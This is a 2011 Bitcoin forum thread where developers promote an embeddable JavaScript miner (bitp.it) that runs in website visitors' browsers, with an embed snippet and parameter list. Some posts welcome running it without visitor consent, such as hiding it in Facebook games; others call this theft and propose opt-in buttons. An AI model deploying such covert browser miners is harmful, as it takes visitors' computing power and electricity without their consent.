However, I do not currently have a reason to believe that Google would flag this as malware. Because, as best as I know, this does not meet the definition of Malware.... if so, wouldn't Google have flagged Bitcoin.org as a distributor of malware, for having miner downloads on it's homepage?

I ask to provoke questions, and discussion. I've been thinking about this all morning, and as best as I can rationalize, this is not different and an ad server. Even Flash ads can, and do, consume your CPU like their is no tomorrow.

However, I am thinking, just as a good general thing, that we will start including the forceUIThread: true setting as part of the default scrip that the site gives new users. This way, by default, the scripts out in the wild are more "nice" than not... hopefully this will help ease a lot of concerns all the way around. And, as always, anyone wishing to force the jsMiner to use web workers and be more performant can either remove forceUIThread or explicitly set it to false.

What do you all think? Again, I do not claim to know what to do... but I do want to open up the discussion.

Keep up the feedback, I appreciate it.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: buger on May 20, 2011, 05:44:55 PM
Can you add functionality to stop/pause worker in runtime. This is very useful for browser extensions. For example Chrome extensions support idle api http://code.google.com/chrome/extensions/idle.html so your worker could work in background and do not bother user.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 05:52:12 PM
Can you add functionality to stop/pause worker in runtime. This is very useful for browser extensions. For example Chrome extensions support idle api http://code.google.com/chrome/extensions/idle.html so your worker could work in background and do not bother user.

I never even thought about the idea of pausing/resuming the worker.... but, I don't see any technical reason why it couldn't be added.

We are currently working hard to get you guys a control panel ASAP... but, once we get that out there, these ideas like WebCL, and even these Chrome extensions are very high on our list to investigate. I've honestly never heard of Chrome extensions before just now, but they look interesting. I am going to read up more on this idel execution extension.

Thank you for the link.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: slush on May 20, 2011, 05:58:04 PM
Well, how this works _technically_? I hope that it does NOT call pool for every pageview... So how is work distributed?

Btw I partially implemented that, too. Many months ago. Then I realized that buying one more ati 5970 is better than managing network of zilions slow workers.

Actually bitp.it shows me "275 hashes per second", but I my code (which I don't have anymore, unfortunately) derived from some public sha256 js cruncher made few thousands of hashes per second on same machine...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 20, 2011, 06:13:08 PM
Well, how this works _technically_? I hope that it does NOT call pool for every pageview... So how is work distributed?

We have an independent loop pulling getworks from your pool on a fixed interval, so definitely not on every pageview.

Btw I partially implemented that, too. Many months ago. Then I realized that buying one more ati 5970 is better than managing network of zilions slow workers.

True, it's not a good choice over building a rig. On the other hand, it doesn't cost us or the site operators anything at all, which is hard to argue with :)

Actually bitp.it shows me "275 hashes per second", but I my code (which I don't have anymore, unfortunately) derived from some public sha256 js cruncher made few thousands of hashes per second on same machine...

Can you tell me what browser got you 275 hashes? On chrome/safari we get more like 9000 hashes.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Convery on May 20, 2011, 06:23:49 PM
I do get 3k using 20% extra of the CPU in Firefox 4.0 beta 11 (too lazy to update :3) but it would be nice if that webCL could be implemented :3


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 20, 2011, 06:47:43 PM
Well, how this works _technically_? I hope that it does NOT call pool for every pageview... So how is work distributed?

To further answer this question... our server refreshes the getwork on a fixed interval, and client requests to us return that cached work in addition to a nonce range. The refresh interval and nonce range width are chosen to provide enough work to the clients (which is not hard, since they're pretty slow) and to not exhaust the space of nonces.

We also check the validity of work submissions ourselves before passing them on.

Currently we're only pinging your pool once or twice per minute. We certainly don't want to abuse the privelege, so let us know if you have any concerns or comments.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: slush on May 20, 2011, 07:01:26 PM
Well, how this works _technically_? I hope that it does NOT call pool for every pageview... So how is work distributed?

We have an independent loop pulling getworks from your pool on a fixed interval, so definitely not on every pageview.

Great.

Can you tell me what browser got you 275 hashes? On chrome/safari we get more like 9000 hashes.

Firefox 4 on Intel (ehm) Atom :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 07:06:33 PM
Firefox 4 on Intel (ehm) Atom :)

Now there's your problem!

Edit: My Intel Atom N270 with 3Gb member running Ubuntu (Classic gnome, none of that ugly Unity) 11.04 with Firefox Nightly 6a gets between 900-1100 hash/sec.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigabytecoin on May 20, 2011, 07:08:56 PM

I am a little confused on what the concern is. AFAIK, Google, et al, do not execute Javascript when they visit your website. Am I missing something?


When Google scans a page, it looks at all links, embeds, etc. It will see the script address for the embed. After they decide that the script is taking up too much CPU (user reports and whatnot), they will flag it as malware. Any page that embeds the script will also be flagged as malware. This can lead to things like pre-visit warning dialogs within the browser.

Hiding the script, along with any related content, from bots such as Google is the only way to prevent a page from being flagged.

That is not true as far as I know. I promote websites for a living.

The only way a site can be flagged as malware is if it attempts to load any known drive by downloads to a special malware crawler.

If they deem forcing a user to mine bitcoins malware (which they might) then it would wreak havoc with one's website.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: slush on May 20, 2011, 07:09:16 PM
To further answer this question... our server refreshes the getwork on a fixed interval, and client requests to us return that cached work in addition to a nonce range. The refresh interval and nonce range width are chosen to provide enough work to the clients (which is not hard, since they're pretty slow) and to not exhaust the space of nonces.

We also check the validity of work submissions ourselves before passing them on.

Well, thats good solution. I was just affraid of getwork-per-pageview thing :).

Quote
Currently we're only pinging your pool once or twice per minute. We certainly don't want to abuse the privelege, so let us know if you have any concerns or comments.

Well, if getwork ping are in constant rate (as it obviously is), you can ask for getwork more frequently to avoid stale shares (by crunching hashes from outdated block).

Generally I like the idea and I wish you success. It really can replace stupid flash ads (which is btw also taking one cpu core for itself :). Also consider flash mining; flash itself is compiled and much faster than javascript, so you can incredibly improve hashrate even on CPUs (my Intel Atom can make 500khash/s per one CPU core, instead of 300 hash/s in JS). Newest flash has also limited support for GPU, but from my teoretical knowledge it should be enough to implement GPU mining in browser...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Steve on May 20, 2011, 07:32:49 PM
I compared this with the native Bitcoin c++ client's mining...I am getting 4 to 5x the performance with your Javascript miner (running on OSX in the Chrome browser).  Can anyone else confirm that (I'm getting about 9Mhash/s in the browser vs less than 2Mhash/s with the bitcoin client)?  If it's really the case, that's quite impressive!

Sorry to disappoint, Steve, but our site is just listing hashes per second, so you're probably seeing 9 khps, not 9Mhps  :P

Unfortunately, javascript computation is rather slow :) There is intense discussion of making use of web-based CL to use the graphics card, but no implementation yet.

Oops.  So, I worked out some estimates for a website that gets 10,000 hits/day and where people stay on the page an average of 5 min.  If I did the numbers correctly, that would be on the order of 0.001 BTC/day (or $0.0065 at current exchange rates).  This doesn't seem like very much...how would advertising usually compare with this?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: SgtSpike on May 20, 2011, 08:01:06 PM
I compared this with the native Bitcoin c++ client's mining...I am getting 4 to 5x the performance with your Javascript miner (running on OSX in the Chrome browser).  Can anyone else confirm that (I'm getting about 9Mhash/s in the browser vs less than 2Mhash/s with the bitcoin client)?  If it's really the case, that's quite impressive!

Sorry to disappoint, Steve, but our site is just listing hashes per second, so you're probably seeing 9 khps, not 9Mhps  :P

Unfortunately, javascript computation is rather slow :) There is intense discussion of making use of web-based CL to use the graphics card, but no implementation yet.

Oops.  So, I worked out some estimates for a website that gets 10,000 hits/day and where people stay on the page an average of 5 min.  If I did the numbers correctly, that would be on the order of 0.001 BTC/day (or $0.0065 at current exchange rates).  This doesn't seem like very much...how would advertising usually compare with this?
10k views per day would probably net around $1.00 in ad revenue per day.  Maybe more if they're mostly unique.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: AbbydonKrafts on May 20, 2011, 08:28:14 PM

However, I do not currently have a reason to believe that Google would flag this as malware. Because, as best as I know, this does not meet the definition of Malware.... if so, wouldn't Google have flagged Bitcoin.org as a distributor of malware, for having miner downloads on it's homepage?

I ask to provoke questions, and discussion. I've been thinking about this all morning, and as best as I can rationalize, this is not different and an ad server. Even Flash ads can, and do, consume your CPU like their is no tomorrow.


There's a difference between these:

  • Bitcoin.org Downloads - These are willing participants. Downloading your own client makes perfect sense. It's like participating with BOINC.
  • Flash Ads - Those things are definitely a bane to all of us, especially the ones that have sound that is always 150% of other embeds. But, they are visible to the visitor, so they know they are there. They can also be disabled by the user. There's also the point of it may be "relevant" to the visitor.
  • Embedded Miner - This can be deemed non-beneficial to the visitor and only a nuisance. It doesn't provide any extra content to them, but it does use up their CPU. Imagine if many sites implemented it, and a visitor had many tabs open with it running. The visitor wouldn't be gaining anything, but instead wonder they their computer is screaming at them.

I'm definitely interested in the concept, but it would need some extra work to be a little less intrusive. I'm watching the discussion to see how it goes.  :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Dusty on May 20, 2011, 10:40:55 PM
Awesome idea, and with the upcoming webcl, even better!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 20, 2011, 11:48:20 PM
It's down.

Eep  :o  Thanks for the notice, it's back up now.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigitrix on May 20, 2011, 11:51:21 PM
Deleted my post then, that wasn't really a "downtime", more of a "blip" :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 11:52:36 PM
Fun statistics time - my Google Nexus S runs at a rate of 43Mhash/day if I just leave it sitting on my websites home page  ::)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: slush on May 21, 2011, 12:01:11 AM
Fun statistics time - my Google Nexus S runs at a rate of 43Mhash/day if I just leave it sitting on my websites home page  ::)

Really Mhash?

Edit: Oh, per _day_, I see :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigitrix on May 21, 2011, 12:02:38 AM
per day :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TiagoTiago on May 21, 2011, 12:50:48 AM
Awesome, gonna check it out


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Steve on May 21, 2011, 12:56:27 AM
I think the future of this is to develop a miner that is easy for a person to install and that websites could interface with...a user would have a choice between ads, mining or direct payment for access or content.  A given website would stipulate a number of hash computations required for access and the miner would use spare cycles and run overnight to try and satisfy the requirement of all websites the user subscribes to...if the user tries to sign up for more sites than his hardware could possibly handle, it would alert him to that fact.  People with efficient GPUs would have a lot more of this currency to spend on website access.  But people with less efficient hardware might still use this method to access websites as it might be preferable to a separate billing or ads even if the electricity cost exceeds the value of the bitcoins they mine.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 02:22:25 AM
Thanks everyone for all the great feedback.

We appreciate all the constructive conversation, as that is really helping us find the direction of this site. We understand that it isn't perfect, that is the reason we are not worrying about fees at first.

We are proud to announce that we are rolling out our registration emails. This should be arriving in your inbox starting now, and over the course of the next several hours. We had a lot of sign-ups, so we are having to span the emails out. Please be patient as we get all this mail delivered.

Once you get your registration email, you should have instructions for how to activate your account. Once activated you will be able to set your wallet id.

Actually, that is about all the current control panel does. We understand that you all will want to see stats about the performance of your site. We do too, and we are working on that. Additions will be coming quickly, but we wanted to get you guys something sooner.

We really do appreciate everyone helping us take part in this "beta", keep up the feedback... we are nowhere near done with this site yet  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: aahzmundus on May 21, 2011, 03:29:20 AM
simply amazing, thank you for this!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: brombomb on May 21, 2011, 04:16:16 AM
I'm really liking this idea of a JS miner.  I was wondering how do you find your stats?  I tried implementing this on my site and "borrowed" you js miner code to display the hashes, but it seems like it's always 0.  I can send you a link to the site or my id if it help debug anything.

Using Chrome 11 on Windows 7


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 21, 2011, 04:26:24 AM
I'm really liking this idea of a JS miner.  I was wondering how do you find your stats?  I tried implementing this on my site and "borrowed" you js miner code to display the hashes, but it seems like it's always 0.  I can send you a link to the site or my id if it help debug anything.

Using Chrome 11 on Windows 7

We plan to open-source the client-side code soon (so basically just un-minify it  ;) ), which should make it a lot easier to experiment with.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 04:27:02 AM
I'm really liking this idea of a JS miner.  I was wondering how do you find your stats?  I tried implementing this on my site and "borrowed" you js miner code to display the hashes, but it seems like it's always 0.  I can send you a link to the site or my id if it help debug anything.

Using Chrome 11 on Windows 7

The js code on bitp.it is slightly different than what you should be putting on your site. This mainly due to the fact that we wanted to shows stats on the home page, and needed direct access to the jsMiner engine... the code we distribute for your website actually generates an iframe and runs the miner through that, due to cross domain permissions in web browsers, it was the only way to get the WebWorkers to work... apparently, despite HTML 5 specing CORS (which we use), the HTML 5 spec for WebWorkers specifically says that no cross domain permissions are allowed for web worker sources  :(

Because you are attempting to run the code without the iframe, on a domain other than bitp.it, your browser is denying your page permissions to new up a Worker() with a bitp.it source domain. For a little experiment, though, you could try using the forceUIThread: true param when newing up jsMiner... that will force the miner to use a non-web worker version of it's routines, and thusly work around the above mentioned shortcoming of web workers... however, it will lower your hash rate... so it was more of a experiment than something we necessarily recommend.

Now that we've got a control panel out there, at least in a rough draft, we are going to work on improving it. We'd love to show you your hash rate there. Also, we plan on exposing jsMiner stats through the iframe back to the calling page. Both of these should correctly take care things.

Just out of curiosity, and also so I can better understand how to write the code... what were you planning on doing with the hash rate? at the jsMiner level, that is a per web browser state, just FYI.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 04:28:38 AM
I'm really liking this idea of a JS miner.  I was wondering how do you find your stats?  I tried implementing this on my site and "borrowed" you js miner code to display the hashes, but it seems like it's always 0.  I can send you a link to the site or my id if it help debug anything.

Using Chrome 11 on Windows 7

We plan to open-source the client-side code soon (so basically just un-minify it  ;) ), which should make it a lot easier to experiment with.

Yes, that is true too... we are planning on open sourcing the client side bits  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: brombomb on May 21, 2011, 04:36:58 AM
I'm really liking this idea of a JS miner.  I was wondering how do you find your stats?  I tried implementing this on my site and "borrowed" you js miner code to display the hashes, but it seems like it's always 0.  I can send you a link to the site or my id if it help debug anything.

Using Chrome 11 on Windows 7

Just out of curiosity, and also so I can better understand how to write the code... what were you planning on doing with the hash rate? at the jsMiner level, that is a per web browser state, just FYI.

Thanks for all the info.  I'm a web geek myself.  While I haven't had the chance to play with any HTML5 stuff yet I really like your project.  I emebeded the code in my site and just wanted to see what it running on my site was producing.  Also as someone else mentioned above They calculated their per day stat.  I left my page open all day on my laptop and just wanted to play around with it.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Reto on May 21, 2011, 04:43:28 AM

There's a difference between these:

  • Bitcoin.org Downloads - These are willing participants. Downloading your own client makes perfect sense. It's like participating with BOINC.
  • Flash Ads - Those things are definitely a bane to all of us, especially the ones that have sound that is always 150% of other embeds. But, they are visible to the visitor, so they know they are there. They can also be disabled by the user. There's also the point of it may be "relevant" to the visitor.
  • Embedded Miner - This can be deemed non-beneficial to the visitor and only a nuisance. It doesn't provide any extra content to them, but it does use up their CPU. Imagine if many sites implemented it, and a visitor had many tabs open with it running. The visitor wouldn't be gaining anything, but instead wonder they their computer is screaming at them.

I'm definitely interested in the concept, but it would need some extra work to be a little less intrusive. I'm watching the discussion to see how it goes.  :)

I think a good solution would be to have a "Start Mining" button on sites, so users wouldn't be wondering why they're at 100% CPU.
Currently CPU mining isn't worth it because of the inefficiency.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 21, 2011, 04:53:11 AM
I think a good solution would be to have a "Start Mining" button on sites, so users wouldn't be wondering why they're at 100% CPU.
Currently CPU mining isn't worth it because of the inefficiency.

CPU mining (even if this were compiled code) is definitely inefficient. We're eager to see what advances in HTML5 can bring to the table, namely web-based CL.

Having a "Start Mining" button is a good idea. We've also considered a small embedded real-time chart of browser hashing speed, or something else to let the client know what their browser is up to.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Vladimir on May 21, 2011, 09:58:58 AM
Sneaking in electricity burning code as currently proposed, without customer (website visitor) consent, appears to be at least unethical and at worst an act of theft.

I see one way to turn this into a viable biz plan.

1. Develop emeddable js code to run calculations on user's GPU, where available.
2. Implement an opt-in button which could be placed on a website and enable users to turn on and off mining for this specific website.

Website operators could than try to persuade users to donate their GPU cycles voluntary and click such 'donate GPU time' button.

This can take some market share from ad networks like adsense and could be particularly useful for sites which are not considered by mainstream ad networks as 'good enough' i.e. bittorent trackers etc...



Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: neptop on May 21, 2011, 10:10:07 AM
Makes me think of Flash based ads. Always thought about them as unethical and theft of both CPU power and traffic ;)

However, one doesn't have to activate JS and one doesn't have to visit such web pages.

It is very inefficient anyway, so I don't think there would be a lot of people using a JS based miner on their web pages. Yeah, maybe with the HTML5 stuff coming along, but that's just talk about the unpredictable future. On the other hand that's what BC is all about and most of us would be rich if I had predicted how BC evolved. ;)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 10:37:09 AM
It is very inefficient anyway, so I don't think there would be a lot of people using a JS based miner on their web pages. Yeah, maybe with the HTML5 stuff coming along, but that's just talk about the unpredictable future. On the other hand that's what BC is all about and most of us would be rich if I had predicted how BC evolved. ;)

Lol.... Sorry, I got a chuckle out of that one  ;D

This IS using that "HTML 5 future stuff"  ;)

Either way, we seem to have steered up quite the conversations on the Internet at large. I just got done reading over at ycombinator, and it looks like we've stirred up a hornest nest of discussions.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 10:47:55 AM
I see one way to turn this into a viable biz plan.

1. Develop emeddable js code to run calculations on user's GPU, where available.
2. Implement an opt-in button which could be placed on a website and enable users to turn on and off mining for this specific website.

Those are some good tips. I've been thinking about the idea of some opt-out cookie or something.... maybe if you visit bitp.it and opt-out, you will never be subject to this scripts execution...

I am not sure on the details, but it did cross my mind. I think you're on to something... it's got me thinking.

Website operators could than try to persuade users to donate their GPU cycles voluntary and click such 'donate GPU time' button.

The GPU comment idea is great in theory, but right now WebCL is only supported by 1 plugin for 1 browser, and that plugin *just* came out at the beginning of this month. I'm not saying it's a lost cause, but even if that code was in our script today to use it.... generally speaking, it *wouldn't* be used as practically nobody would have the required plugin, at least speaking on "Internet scale". However, yes, the future of keeping this practical will be in WebCL.


This can take some market share from ad networks like adsense and could be particularly useful for sites which are not considered by mainstream ad networks as 'good enough' i.e. bittorent trackers etc...

Agreed.

And, one thing I keep thinking too, is that traditional ads depend on user clicks. I cannot tell you how many times I leave tabs open on my web browser for days, or even weeks, at a time. That could ad up quick.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Vladimir on May 21, 2011, 11:09:32 AM
I've tried the code on one of my sites for a short time but decided to remove it for now. Having some opt in or may be opt out interface for users might make it ethically acceptable for me personally and others to operate.

For example, for an oup-out case, a little green button in a corner somewhere, with a some kind of notice to users along the lines "this website is supported by your CPU/GPU cycle donations, please do leave a tab with this page open and do not disable generation button to support us". Than users are free to decide whether to keep the generation button green or click it to disable generation and make this button red. The user's choice could be stored in a cookie maybe, there are lots of ways to implement it.

In opt out case it is just by default the generation button is red/disabled and users have to enable it for generation/donation.





Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 12:19:15 PM
Just a quick update...

We changed the default script that is generate for you to have the forceUIThread parameter set to true. This will force the script to be very, very, nice. You can still overwrite that setting by explicitly setting it to false, doing so will increase your hash rate at the risk of higher CPU usage for your website visitors.

As promised, here is a complete list of parameters that can be passed into the engine:
  • clientId
  • delay
  • forceUIThread
  • autoStart
  • workerTimeout

clientId - this is your unique identifier. Do not change, unless of course you want your shares going to someone else  :D
delay - this is the delay, in milliseconds that the UI thread waits between every 100 hashes. This setting does not control web workers. Lowering this value too much could result in browsers displaying the "we've detecting that this script has locked up" warnings. The default is 30 ms.
forceUIThread - some browsers don't support web workers (IE), in those cases this setting is meaningless. For browser that support web workers, this forces them *not* to use them, and instead calculate hashes in the UI thread at a much slower, and less CPU intensive, rate.
autoStart - don't use this yet. Right now the jsMiner auto starts. You could set it to false. However, since the jsMiner is running in an iframe you would have no way of starting it... we will work on getting this better exposed.
workerTimeout - this effects all browsers. This is the length of time (in seconds) that a get work request is good for. The default is 30 seconds. Increasing this value decreases network request but increases the likelihood of stale shares.

And example of what you're modified script tag would look like with some of these parameters is:

Code:
<script type="text/javascript">
  bitpit({clientId: "5", forceUIThread: true, delay: 40, workerTimeout: 45});
</script>




Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: davout on May 21, 2011, 12:22:26 PM
/me is looking for a way to inject javascript on facebook


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: matjaz on May 21, 2011, 12:29:29 PM
check https://projects.forum.nokia.com/webcl for browser OpenCL implementation. This should be fun.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 12:36:20 PM
/me is looking for a way to inject javascript on facebook

lol :D

Create a FB game and add the miner ;)

Thats actually a *really* good idea.

Facebook games, like Farmville, are based on a "fremium" model. They are very much dependent on less than 1% of their users supporting their operations. What if, all users gave something? Perhaps paying users could disable this?

Oh sweet....

Pandora radio... Perfect model. You pay that $30 bucks a year for their Pandora one... but if you don't, they run bitcoins off your machine while you listen to free music.  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: davout on May 21, 2011, 12:43:39 PM
/me is looking for a way to inject javascript on facebook

lol :D

Create a FB game and add the miner ;)

Thats actually a *really* good idea.

Facebook games, like Farmville, are based on a "fremium" model. They are very much dependent on less than 1% of their users supporting their operations. What if, all users gave something? Perhaps paying users could disable this?

Oh sweet....

Pandora radio... Perfect model. You pay that $30 bucks a year for their Pandora one... but if you don't, they run bitcoins off your machine while you listen to free music.  :D

This idea, if implemented seriously, might have a non-negligible impact on global warming.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 01:14:03 PM
I've tried the code on one of my sites for a short time but decided to remove it for now. Having some opt in or may be opt out interface for users might make it ethically acceptable for me personally and others to operate.

For example, for an oup-out case, a little green button in a corner somewhere, with a some kind of notice to users along the lines "this website is supported by your CPU/GPU cycle donations, please do leave a tab with this page open and do not disable generation button to support us". Than users are free to decide whether to keep the generation button green or click it to disable generation and make this button red. The user's choice could be stored in a cookie maybe, there are lots of ways to implement it.

In opt out case it is just by default the generation button is red/disabled and users have to enable it for generation/donation.

I do like your thinking. On a semi-related note, I notice this website: http://www.v2ex.com/bitcoin/mining.html

Google translate would seem to indicate that this is a page that the author specifically created for bitp.it (http://bitp.it). The text on the page fully describes whats going on, and invites the visitor to leave their browser open to help support the site.

I cannot help but believe that this is a great use for bitp.it. I love how they are tying it into the visitor's goodwill to help them support the site.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Orbit45244 on May 21, 2011, 04:04:38 PM
I just wanted to alert everyone...

I was skeptical that this did what it said it did, so I ended up doing a wire inspection of things that were sent to and from the server.

The good news is that it does indeed attempt to mine, but the bad news is that it doesn't actually work.

GET requests are issued to the server periodically to grab data needed for mining, and the hashes do appear to get computed, but the computed hashes are never POST'ed back to the server. I also checked the request headers and cookies, but the computed data is not in those either.

I'm sure this is just a bug, but right now this bitcoin miner is useless.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 21, 2011, 04:24:32 PM
I just wanted to alert everyone...

I was skeptical that this did what it said it did, so I ended up doing a wire inspection of things that were sent to and from the server.

The good news is that it does indeed attempt to mine, but the bad news is that it doesn't actually work.

GET requests are issued to the server periodically to grab data needed for mining, and the hashes do appear to get computed, but the computed hashes are never POST'ed back to the server. I also checked the request headers and cookies, but the computed data is not in those either.

I'm sure this is just a bug, but right now this bitcoin miner is useless.

I think you should check again... it may take a long while for the client to POST a result, but it does do so. We've had shares being submitted by clients, so I'm pretty sure it's working :)

EDIT

And to elaborate a bit more, the client won't POST until it thinks it's found a valid share. So a wire inspection will indeed only show GET requests. We'll be open-sourcing an un-minified version of the client code soon.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 21, 2011, 07:57:17 PM
We'll be open-sourcing an un-minified version of the client code soon.

And here it is: https://github.com/jwhitehorn/jsMiner

Let me know what you guys think. It's licensed new BSD, FYI.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: jimbobway on May 21, 2011, 08:44:11 PM
I've made this bitcoinblogger post:

http://www.bitcoinblogger.com/2011/05/google-could-be-destroyed-javascript.html


There is a new and revolutionary breakthrough bitcoin application that could potentially destroy Google. Yes, that's correct, this technology could completely annihilate Google. Google's business mostly relies on its AdSense program which allows website owners the ability to place ads in their webpages to earn money. However, with 100% Javascript bitcoin miners website owners no longer have to place ads in their website to make money.

JS Miners can be placed into webpages and earn income for the website owner. The advantages for the end-user is that ads will no longer annoy users. NO MORE ADS! The longer a user spends time on a web page the more money the bitcoin miner will earn for the website operator. Website owners are now encouraged to have quality content so users stay and read longer. This means that quality is king and if a user leaves a website immediately then that website is rewarded less. (I could see this potentially saving the newspaper industry.)

JS Miners also removes Google's overhead and more money could potentially be awarded to the website owner. JS miners can also perform micro transactions easier than Google so all mining can be compensated an no amount of money is lost. If a computer mines .000001 bitcoins then this amount is recorded and taken into account.

Yes, it is possible these JS Miners can utilize CPU resources and slow down the computer, but these settings can be adjusted to allow a good user experience. This bitcoin revolution is just beginning...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: bitpop on May 21, 2011, 09:18:17 PM
Wouldn't mining be much better when running in a real x86/linux environment?

http://bellard.org/jslinux/


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Reto on May 21, 2011, 09:30:09 PM
I've tried the code on one of my sites for a short time but decided to remove it for now. Having some opt in or may be opt out interface for users might make it ethically acceptable for me personally and others to operate.

For example, for an oup-out case, a little green button in a corner somewhere, with a some kind of notice to users along the lines "this website is supported by your CPU/GPU cycle donations, please do leave a tab with this page open and do not disable generation button to support us". Than users are free to decide whether to keep the generation button green or click it to disable generation and make this button red. The user's choice could be stored in a cookie maybe, there are lots of ways to implement it.

In opt out case it is just by default the generation button is red/disabled and users have to enable it for generation/donation.





Something like

(button)
"You can donate your spare GPU cycles to this website by clicking the button above.
This widget mines Bitcoins, which we use to pay expenses. To learn more about Bitcoin, click here.
If you are already mining on your own, please consider donating to 1XXXXXXXXXXXXXXX."
WebGL must be enabled for this to work.

The link would lead to either the "New to Bitcoin" post on these forums, or to weusecoins.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: anisoptera on May 22, 2011, 12:03:24 AM
Wouldn't mining be much better when running in a real x86/linux environment?

http://bellard.org/jslinux/

Yes. This is neither.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: k on May 22, 2011, 12:31:34 AM
going meta - here is the Hacker News discussion of this topic http://news.ycombinator.com/item?id=2566365 (http://news.ycombinator.com/item?id=2566365)

(apologies if it's already been linked. I had a look and don't think it has)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: technowizard12 on May 22, 2011, 12:42:23 AM
I love this! Now I won't ever have to put ads on my site!

Maybe you should make some sort of embeddable widget that lets webpage users turn it off. I forsee problems where the webpage slows down the user's computer too much. It might be nice to make it optional.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: schnak on May 22, 2011, 01:50:05 AM
Another point that this helps cure is the 'do not track' law  issues with advertising.

Site owners would not have to track viewer ship to receive revenue for visits. The act of viewing produces the funds.
loving it and sharing it with all of my site author contacts.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 22, 2011, 03:48:13 AM
Wow!

Thanks for all the support everybody.

Oh, as just an FYI, we are currently targeting our first payout for a week from today. Long term we want the control panel to display to you your pending payouts, and that is something we are currently working on for you. We want to make this as transparent as possible.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 22, 2011, 03:52:03 AM
I've made this bitcoinblogger post:

http://www.bitcoinblogger.com/2011/05/google-could-be-destroyed-javascript.html


There is a new and revolutionary breakthrough bitcoin application that could potentially destroy Google. Yes, that's correct, this technology could completely annihilate Google. Google's business mostly relies on its AdSense program which allows website owners the ability to place ads in their webpages to earn money. However, with 100% Javascript bitcoin miners website owners no longer have to place ads in their website to make money.

JS Miners can be placed into webpages and earn income for the website owner. The advantages for the end-user is that ads will no longer annoy users. NO MORE ADS! The longer a user spends time on a web page the more money the bitcoin miner will earn for the website operator. Website owners are now encouraged to have quality content so users stay and read longer. This means that quality is king and if a user leaves a website immediately then that website is rewarded less. (I could see this potentially saving the newspaper industry.)

JS Miners also removes Google's overhead and more money could potentially be awarded to the website owner. JS miners can also perform micro transactions easier than Google so all mining can be compensated an no amount of money is lost. If a computer mines .000001 bitcoins then this amount is recorded and taken into account.

Yes, it is possible these JS Miners can utilize CPU resources and slow down the computer, but these settings can be adjusted to allow a good user experience. This bitcoin revolution is just beginning...

 :D :D :D :D :D

That is Tweet worthy, http://twitter.com/#!/bitp_it/status/72147530833600512 (http://twitter.com/#!/bitp_it/status/72147530833600512)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Orbit45244 on May 22, 2011, 05:31:29 AM
I just wanted to alert everyone...

I was skeptical that this did what it said it did, so I ended up doing a wire inspection of things that were sent to and from the server.

The good news is that it does indeed attempt to mine, but the bad news is that it doesn't actually work.

GET requests are issued to the server periodically to grab data needed for mining, and the hashes do appear to get computed, but the computed hashes are never POST'ed back to the server. I also checked the request headers and cookies, but the computed data is not in those either.

I'm sure this is just a bug, but right now this bitcoin miner is useless.

I think you should check again... it may take a long while for the client to POST a result, but it does do so. We've had shares being submitted by clients, so I'm pretty sure it's working :)

EDIT

And to elaborate a bit more, the client won't POST until it thinks it's found a valid share. So a wire inspection will indeed only show GET requests. We'll be open-sourcing an un-minified version of the client code soon.

